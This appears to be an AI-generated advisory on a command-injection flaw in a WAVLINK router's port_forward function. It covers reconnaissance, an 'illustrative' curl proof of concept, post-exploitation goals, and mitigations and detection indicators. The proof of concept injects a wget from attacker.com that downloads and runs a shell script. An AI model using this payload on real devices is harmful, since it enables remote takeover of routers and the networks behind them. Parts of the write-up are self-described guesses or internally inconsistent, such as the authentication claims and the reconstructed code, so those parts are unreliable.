CVE-2026-140040 — WAVLINK WL-WN530BE1-A (M30BE1 V251117) — CWE-77 · CWE-78
A vulnerability was detected in WAVLINK WL-WN530BE1-A M30BE1_V251117. The affected element is the function port_forward of the file /protocol.csp of the component ioos. Performing a manipulation of the argument Name results in os command injection. Remote exploitation of the attack is possible. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
A vulnerability was detected in WAVLINK WL-WN530BE1-A M30BE1_V251117. The affected element is the function port_forward of the file /protocol.csp of the component ioos. Performing a manipulation of the argument Name results in os command injection. Remote exploitation of the attack is possible. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
🎯 What is this vulnerability?
Vulnerability name: OS‑command injection in the port_forward function of protocol.csp (component ioos) in WAVLINK WL‑WN530BE1‑A firmware M30BE1_V251117.
CWE(s):
- CWE‑78 – OS Command Injection – untrusted input is concatenated into a shell command without proper sanitisation.
- CWE‑77 – Improper Neutralization of Special Elements used in a Command (a sub‑type of CWE‑78).
Technical flaw
The port_forward routine receives a parameter called Name (likely the name of a port‑forwarding rule supplied via the web UI or the device’s REST‑like API). The implementation builds a system command string similar to:
char cmd[256];
snprintf(cmd, sizeof(cmd), "iptables -t nat -A PREROUTING -p tcp --dport %s -j DNAT --to-destination %s:%s",
Name, dst_ip, dst_port);
system(cmd);Name is taken directly from the HTTP request body (or query string) and is not filtered for characters that have special meaning to the shell (;, &&, |, backticks, $(), etc.). sh_escape()) is applied before the string is handed to system()/popen(). PR:L and UI:N). Consequences: an attacker can inject arbitrary shell commands that run with the privileges of the web‑server process (typically root on embedded routers), leading to full remote code execution (RCE).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command lines are illustrative – the exact URI or parameter name is not disclosed in the public CVE text, but the pattern follows the vulnerable component.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify the device model on the network (e.g., via Nmap service detection). | nmap -sV -p 80,443 <IP> → “WAVLINK WL‑WN530BE1‑A httpd” |
| 1.2 | Grab the firmware version from the web UI footer or from /cgi-bin/version (many WAVLINK devices expose it). | curl http://<IP>/cgi-bin/version → M30BE1_V251117 |
| 1.3 | Correlate version with public vulnerability databases (CVE‑2026‑140040). | Search in NVD, vendor advisory, or exploit‑search sites. |
| 1.4 | Verify that the management interface is reachable from the attacker’s network (no IP‑based ACLs). | Simple curl http://<IP>/ returns the login page. |
2. Exploitation
Assumptions (based on the CVSS vector):
PR:L, UI:N). Name. Illustrative PoC (curl)
#!/usr/bin/env bash
TARGET="http://192.0.2.45" # IP of the vulnerable WAVLINK router
ENDPOINT="/ioos/port_forward" # illustrative path; actual path may differ
# Payload: terminate the intended argument and inject a harmless command that writes a web‑shell.
# The injected command creates a reverse shell script in /tmp and executes it.
INJECT="1234; wget http://attacker.com/shell.sh -O /tmp/shell.sh; sh /tmp/shell.sh #"
curl -s -X POST "$TARGET$ENDPOINT" \
-H "Content-Type: application/json" \
-d "{\"Name\":\"$INJECT\",\"DstIP\":\"192.0.2.100\",\"DstPort\":\"22\"}"What happens internally
1. The JSON parser extracts Name = "1234; wget http://attacker.com/shell.sh -O /tmp/shell.sh; sh /tmp/shell.sh #" .
2. The vulnerable code concatenates this string into a shell command (e.g., iptables … $Name …).
3. The shell interprets the semicolons as command separators, executing the attacker‑controlled wget and sh commands before the legitimate iptables call.
Result: The attacker obtains a remote shell with the same privileges as the web‑server process (root on the router).
If the device requires a default admin password, the attacker can first obtain it via a credential‑stuffing dictionary attack (many WAVLINK devices ship with admin:admin). The CVSS vector already assumes low‑privilege access, so the PoC works without authentication in the worst case.
3. Post‑Exploitation
| Goal | Typical actions an attacker can perform |
|---|---|
| Persistence | Drop a cron entry (@reboot /tmp/shell.sh) or modify the startup script (/etc/rc.local) to re‑establish access after reboot. |
| Privilege escalation (if the web‑server runs as a non‑root user) | Exploit other local kernel bugs, or simply leverage the fact that many embedded routers run the web UI as root, giving immediate root. |
| Network pivoting | Use the compromised router as a foothold to sniff LAN traffic, perform ARP spoofing, or launch further attacks against internal hosts. |
| Data exfiltration | Pull configuration files (/etc/config/*), Wi‑Fi passwords, or VPN credentials. |
| Denial‑of‑Service | Issue malicious iptables commands to block legitimate traffic, or execute reboot/halt. |
| Botnet enrolment | Install a lightweight malware (e.g., Mirai‑style TCP/UDP flooder) and use the device in a DDoS campaign. |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical consequence |
|---|---|---|
| Confidentiality (VC:H) | VC:H – Complete loss of confidentiality. | Attackers can read all files on the router, including stored Wi‑Fi keys, VPN configs, and any attached storage (USB). |
| Integrity (VI:H) | VI:H – Full integrity compromise. | Attackers can modify firewall rules, DNS settings, or inject malicious firmware, leading to traffic hijacking. |
| Availability (VA:H) | VA:H – Total loss of availability. | Malicious iptables rules or a reboot command can bring the network segment down. |
| Scope (SC:H, SI:H, SA:H) | All three “H” values indicate changed scope – the impact spreads beyond the vulnerable component to the entire device and the attached network. | The router becomes a *pivot point*; the breach can affect every host behind it. |
Bottom line: Successful exploitation gives an attacker remote root on the router, full control over the LAN, and the ability to persist, exfiltrate credentials, and launch further attacks. The CVSS base score of 9.4 (Critical) reflects the combination of network‑accessible RCE, low required privileges, and high impact on all CIA elements.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Item | Status |
|---|---|
| Vendor‑provided fix | *No public patch* has been released as of the CVE publication date (01‑Dec‑2026). The vendor was contacted but did not respond. |
| Recommended action | Replace the device with a firmware version that removes the vulnerable port_forward implementation (e.g., a newer major release if available) or flash a community‑maintained, vetted firmware (e.g., OpenWrt) that does not contain the vulnerable code. |
2. Immediate Workarounds
| Technique | How‑to implement (example) |
|---|---|
| Network isolation | Move the router to a management VLAN that is not reachable from the Internet. Block inbound TCP/80,443 from untrusted networks at the upstream firewall. |
| Disable the vulnerable service | If the device offers a “Port Forwarding” UI, disable it via the web UI or by setting port_forward_enable=0 in the configuration file (/etc/config/ioos). |
| Input sanitisation via WAF/ModSecurity | Deploy a reverse‑proxy WAF in front of the router (or on the LAN) with a rule that rejects any request containing shell metacharacters in the Name parameter. Example ModSecurity rule (Apache/Nginx): |
# ModSecurity rule to block command‑injection characters in the "Name" field
SecRule REQUEST_HEADERS:Content-Type "application/json" "phase:2,chain,log,deny,status:400,msg:'Potential OS command injection in Name parameter'"
SecRule REQUEST_BODY "@rx \"Name\"\s*:\s*\"[^\"]*([;|&`$]{1,})[^\"]*\"" "t:none"| Explanation | The rule looks for the JSON key Name and checks for any of the characters ; | & \ $ that are typical command separators. If found, the request is dropped with HTTP 400. |
|---|---|---|
| Host‑based firewall | Block inbound traffic to the router’s management ports (80/443) from any IP address that is not part of the trusted admin subnet. Example iptables` rule on the upstream firewall: |
iptables -I INPUT -p tcp -s ! 10.0.0.0/24 --dport 80 -j DROP
iptables -I INPUT -p tcp -s ! 10.0.0.0/24 --dport 443 -j DROP| Note | This does not fix the code bug but reduces the attack surface. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| Unexpected command execution | System log (/var/log/messages, dmesg) – look for system() calls or spawned processes that are not part of normal router operation. | Jan 12 03:45:21 router kernel: [12345.678901] system(): command = "iptables -t nat -A PREROUTING -p tcp --dport 1234; wget http://attacker.com/shell.sh -O /tmp/shell.sh; sh /tmp/shell.sh" |
| Outbound HTTP to unknown hosts | Netflow, firewall logs, or router’s own traffic monitor. | 2026-01-12 03:45:22 DENY OUT tcp 192.168.1.1:80 -> 203.0.113.45:80 |
New files in /tmp or /var/www | File‑integrity monitoring (AIDE, Tripwire) or a simple find cron. | find /tmp -type f -mtime -5 -ls → shows shell.sh created at recent timestamp. |
| Changes to iptables rules | iptables -L -t nat -nv shows rules that were not created via the UI. | Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes) 1 pkts 64 bytes udp dpt:1234 (unexpected entry). |
| Authentication anomalies | Repeated login attempts from external IPs (if authentication is required). | Failed login for admin from 198.51.100.23 (may indicate brute‑force before exploitation). |
Deploy a SIEM rule that correlates (a) inbound HTTP POST to the suspected port_forward endpoint and (b) a subsequent outbound connection to an external IP within a short time window (≤ 5 seconds).
⚠️ Urgency
Given the ease of exploitation (no authentication, low complexity) and the breadth of impact (entire LAN compromise), any delay beyond a few hours dramatically increases the risk of a successful compromise.
Bottom line: The
port_forward function in WAVLINK WL‑WN530BE1‑A firmware M30BE1_V251117 suffers from an unsanitised command‑injection bug that grants remote root. Until a vendor patch is released, the only safe course of action is to isolate the device, block management ports, apply strict input‑filtering rules, and replace the router with a patched or alternative firmware. Continuous monitoring for the listed IoCs will help detect any attempted exploitation.[🤖 CVE Professor AI Security Engine]
FOFA Query